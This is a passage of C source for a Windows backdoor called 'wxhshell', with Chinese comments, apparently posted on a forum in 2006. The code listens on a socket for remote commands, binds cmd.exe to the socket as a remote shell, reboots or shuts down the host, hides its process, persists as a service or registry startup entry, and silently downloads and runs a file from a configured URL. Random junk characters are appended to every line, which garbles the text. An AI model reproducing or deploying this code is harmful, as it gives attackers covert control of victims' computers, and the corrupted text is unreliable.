  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6JCq?:#ab  
  } Wv4x^nJ  
  else { 0- =PP@W  
1 luRTI8^  
    switch(cmd[0]) { Uyuvmt>  
  zFFip/z\  
  // 帮助 q[wVC h  
  case '?': { ) ]y^RrD  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); O1 KT  
    break; ]y **ZFA  
  } GY~Q) Z  
  // 安装 o)M=; !  
  case 'i': { kf Xg\6uKc  
    if(Install()) FUD M]:XQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  av!'UZP  
    else 5csqu^/y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); UVIR P#  
    break; [61T$.  
    } O(Tdn;1  
  // 卸载 NxyrP**j  
  case 'r': { (fYrb# ]!y  
    if(Uninstall()) IRxFcLk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]mW)T0_  
    else 5%5z@Ka  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2\: z   
    break; YyZ>w2_MTi  
    } /h!Y/\kI  
  // 显示 wxhshell 所在路径 o9Z!Z ^  
  case 'p': { L< gp "e  
    char svExeFile[MAX_PATH]; LE" t'R   
    strcpy(svExeFile,"\n\r"); %j[DG_  
      strcat(svExeFile,ExeFile); Dn#GoDMJ[  
        send(wsh,svExeFile,strlen(svExeFile),0); U/|H%b  
    break; bLHj<AX#>|  
    } >^  E  
  // 重启 m#(tBfH[  
  case 'b': { 8w[nY.#T  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); #xopJaY  
    if(Boot(REBOOT)) _v+mjDdQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zP|y3`. 52  
    else { P0En&g+~  
    closesocket(wsh); ZL-YoMHc+_  
    ExitThread(0); Y\qiYra  
    } kUdl2["MZ  
    break; !"dbK'jb^  
    } CulU?-[i  
  // 关机 g]z[!&%Ahs  
  case 'd': { ]vPa A  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ?`nF"u>  
    if(Boot(SHUTDOWN)) CFW\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4@wH4H8  
    else { Ef1R?<  
    closesocket(wsh); MBbycI,  
    ExitThread(0); CZ/bO#~  
    } R7L:U+*V"  
    break; ;9{x""  
    } V0gk8wD  
  // 获取shell n: ~y]  
  case 's': { da[u@eNrnX  
    CmdShell(wsh); 6;lJs,I1w{  
    closesocket(wsh); 2>.2H  
    ExitThread(0); ;JcOm&d/hk  
    break; PC| U]  
  } ; )Vro  
  // 退出 H(^O{JC]y!  
  case 'x': { *ay>MlcV2=  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); <bwsK,C  
    CloseIt(wsh); pr|P#mc"J  
    break; .qyk[O  
    } VOYuog 5o  
  // 离开 C*}TY)8  
  case 'q': { |kwkikGQS  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); rx*1S/\PPc  
    closesocket(wsh); ,KlTitJl\+  
    WSACleanup(); }LH>0v_<Y  
    exit(1); OXC7 m  
    break; ?"p:6%GFz  
        } Phsdn`,  
  } =a`l1zn8=  
  } gY], (*v  
lD!o4ZAo  
  // 提示信息 g1Q^x/  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 27-<q5q  
} # E'g{.N  
  } j:%~:  
R|T_9/#)  
  return; '|0Dt|$  
} k;p:P ?s5Y  
Y8I$J BO  
// shell模块句柄 4-`C !q  
int CmdShell(SOCKET sock) Aa;R_Jz  
{ 4WnB{9 i`I  
STARTUPINFO si; 30Nya$$A=  
ZeroMemory(&si,sizeof(si)); =5EG}@  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (=${@=!z  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; J{=by]-rD,  
PROCESS_INFORMATION ProcessInfo; cO2 .gQo'  
char cmdline[]="cmd"; jxL5L[  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 93%U;0w[Nw  
  return 0; n 5NkjhP~Z  
} 6uQfe? aD  
M:c^ [9)y  
// 自身启动模式 / sENoQR  
int StartFromService(void) -OZRSjmY  
{  tFvti5  
typedef struct >R/^|hnJ  
{ >Qc0g(w  
  DWORD ExitStatus; _;J7#j~}  
  DWORD PebBaseAddress; !3K6ew>Sf  
  DWORD AffinityMask; "])X0z yM  
  DWORD BasePriority; -san%H'  
  ULONG UniqueProcessId; JoA^9AYhR  
  ULONG InheritedFromUniqueProcessId; &C3J6uCm+  
}   PROCESS_BASIC_INFORMATION; 3|RfX  
7|3Z+#|T  
PROCNTQSIP NtQueryInformationProcess; %;9f$:U  
$O&P@8:Z  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; eJ>(SkR:[  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; bF:vD&Sf  
uk_?2?>-5  
  HANDLE             hProcess; kRnh20I  
  PROCESS_BASIC_INFORMATION pbi; x=yBB;&  
=-{+y(<"r  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); .hlr)gF&)  
  if(NULL == hInst ) return 0; c+#GX)zh\G  
5bGV91  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); \uQB%yMoz  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); @! ^c@  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); {hK$6bD3^  
`N}<lg(0#  
  if (!NtQueryInformationProcess) return 0; BBnbXhxZ  
_S/bwPj|~y  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); YEAiLC+q  
  if(!hProcess) return 0; .Nr}V.?57  
vn~DtTp/  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; aDR<5_Yb  
&fq-U5zH  
  CloseHandle(hProcess); ow]S 3[07  
:x]gTZ?  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); EUmQn8  
if(hProcess==NULL) return 0; Qs8iu`'  
|HI =ykfI  
HMODULE hMod; i 4lR$]@  
char procName[255]; #Qc[W +%  
unsigned long cbNeeded; 0@{K'm /  
]K?z|&N|HK  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); yC4JYF]JN  
.l"_f  
  CloseHandle(hProcess); rPkV=9ull,  
{%^q8l4j  
if(strstr(procName,"services")) return 1; // 以服务启动 soA>&b !?  
FVT_%"%C9  
  return 0; // 注册表启动  .VuZ=  
} 7EOn4I2@[  
c^}gJ  
// 主模块 'y}l9alF  
int StartWxhshell(LPSTR lpCmdLine) j\f;zb?F  
{ i*..]!7e  
  SOCKET wsl; NtkEb :  
BOOL val=TRUE; Vd4x!Vk  
  int port=0; X3".  
  struct sockaddr_in door; cgc| G  
i>_V?OT#5  
  if(wscfg.ws_autoins) Install(); U%"c@%B0  
Nj*J~&6G  
port=atoi(lpCmdLine); XB UO  
-uqJ~gD  
if(port<=0) port=wscfg.ws_port; $dFEC}1t  
fxXZ^#2wX  
  WSADATA data; #q9jFW8  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; *J=`"^BO  
Jj*XnL*  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   bT,]=h"0  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); o?b$}Qrl  
  door.sin_family = AF_INET; WM*[+8h  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); `]_#_  
  door.sin_port = htons(port); 'D-eFJ5  
2Y\,[$z  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { -@Mr!!t?N  
closesocket(wsl); +IK~a9t  
return 1; gnlGL[r|  
} 8TD:~ee  
q!$ZBw-7>A  
  if(listen(wsl,2) == INVALID_SOCKET) { d2'9C6t  
closesocket(wsl); Z+' 7c|a  
return 1; u^s{r`/  
} >#Y8#-$zc  
  Wxhshell(wsl); p )etl5  
  WSACleanup(); |+mhYq|`  
i d\0yRBt  
return 0; Mou>|U 1e"  
*Tl"~)'t~  
} -8HIsRh  
wr~# rfH  
// 以NT服务方式启动 n9<QSX&~<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) cAM1\3HWT"  
{ %E3|b6k\  
DWORD   status = 0; ~j^HDHY@  
  DWORD   specificError = 0xfffffff; k`62&"T  
1u:OzyJy  
  serviceStatus.dwServiceType     = SERVICE_WIN32; w1KLQd:yq  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; bqJL@!T  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; O _yJR  
  serviceStatus.dwWin32ExitCode     = 0; w{#K.dx  
  serviceStatus.dwServiceSpecificExitCode = 0; F[ N{7C3  
  serviceStatus.dwCheckPoint       = 0; J Xo_l  
  serviceStatus.dwWaitHint       = 0; O(!J^J3_z  
Q!7Er  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ,}2M'DSWa  
  if (hServiceStatusHandle==0) return; Q1mz~r  
;eI,1 [_  
status = GetLastError(); IVzJ|  
  if (status!=NO_ERROR) y&-wb'==p  
{ AFGWlC#`  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; sw6]Bc  
    serviceStatus.dwCheckPoint       = 0; ]sE~gro  
    serviceStatus.dwWaitHint       = 0; yw41/jHF  
    serviceStatus.dwWin32ExitCode     = status; / *Z( ;-  
    serviceStatus.dwServiceSpecificExitCode = specificError; ajq[ID  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 51;V#@CsQ  
    return; \|BtgT*$b  
  } K{B[(](  
P#\L6EO.  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ),v[.9!}:  
  serviceStatus.dwCheckPoint       = 0; m]R< :_  
  serviceStatus.dwWaitHint       = 0; "1$OPt5  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); AYeA)jk  
} wo5"f}vd#  
r@5_LD@f  
// 处理NT服务事件,比如:启动、停止 "X4OUk  
VOID WINAPI NTServiceHandler(DWORD fdwControl) %Ui&SZ\  
{ 1`)ie%=  
switch(fdwControl) 9F845M  
{ OE]z C  
case SERVICE_CONTROL_STOP: 1Y6<i8  
  serviceStatus.dwWin32ExitCode = 0; @G+Hrd6  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ;:,hdFap  
  serviceStatus.dwCheckPoint   = 0; IeLG/ fB  
  serviceStatus.dwWaitHint     = 0; =hxj B*")  
  { =o^oMn  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %W~Kx_  
  } <e-9We."  
  return; kA1]o  
case SERVICE_CONTROL_PAUSE: ,+-l1GpL  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ~KHGh29  
  break; HhDiGzOSi  
case SERVICE_CONTROL_CONTINUE: [g`9C!P-G  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ~B;kFdcVXn  
  break; |b7 v(Hx  
case SERVICE_CONTROL_INTERROGATE: ,V'+16xW  
  break; 3`uv/O2~i  
}; :akEl7/&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); vM!lL6T:  
} };6[Byf  
92!1I$zi  
// 标准应用程序主函数 A;7p  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) :@x24wN/  
{ 9g3e( z@  
Tj7OV}:  
// 获取操作系统版本 E/2kX3}  
OsIsNt=GetOsVer(); Wj.f$U 4  
GetModuleFileName(NULL,ExeFile,MAX_PATH); (jd)sf6Tj[  
"| cNY_$&s  
  // 从命令行安装 /\34o{  
  if(strpbrk(lpCmdLine,"iI")) Install(); 1)yEx1  
1Q"w)Ta  
  // 下载执行文件 #=C!Xx&  
if(wscfg.ws_downexe) { 6$$4!R-  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) r'0IAJ-;  
  WinExec(wscfg.ws_filenam,SW_HIDE); 'X_8j` ]#  
} H~IR:WOw  
Qz)1wf'y  
if(!OsIsNt) { T n.Cj5  
// 如果时win9x,隐藏进程并且设置为注册表启动 V'?bZcRr~  
HideProc(); "[M,PI!B  
StartWxhshell(lpCmdLine); OXcQMVa 6  
} 8 g0By;h;  
else  gP%S{<.?  
  if(StartFromService()) {=mf/3.r  
  // 以服务方式启动 j#L"fW^GM  
  StartServiceCtrlDispatcher(DispatchTable); :U;n?Zu S  
else =v^LShD2^  
  // 普通方式启动 _RI`I}&9Z  
  StartWxhshell(lpCmdLine); 4)MKYhm  
r9nH6 Md\  
return 0; Wm ri%  
}
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只看该作者 1 发表于: 2006-10-10
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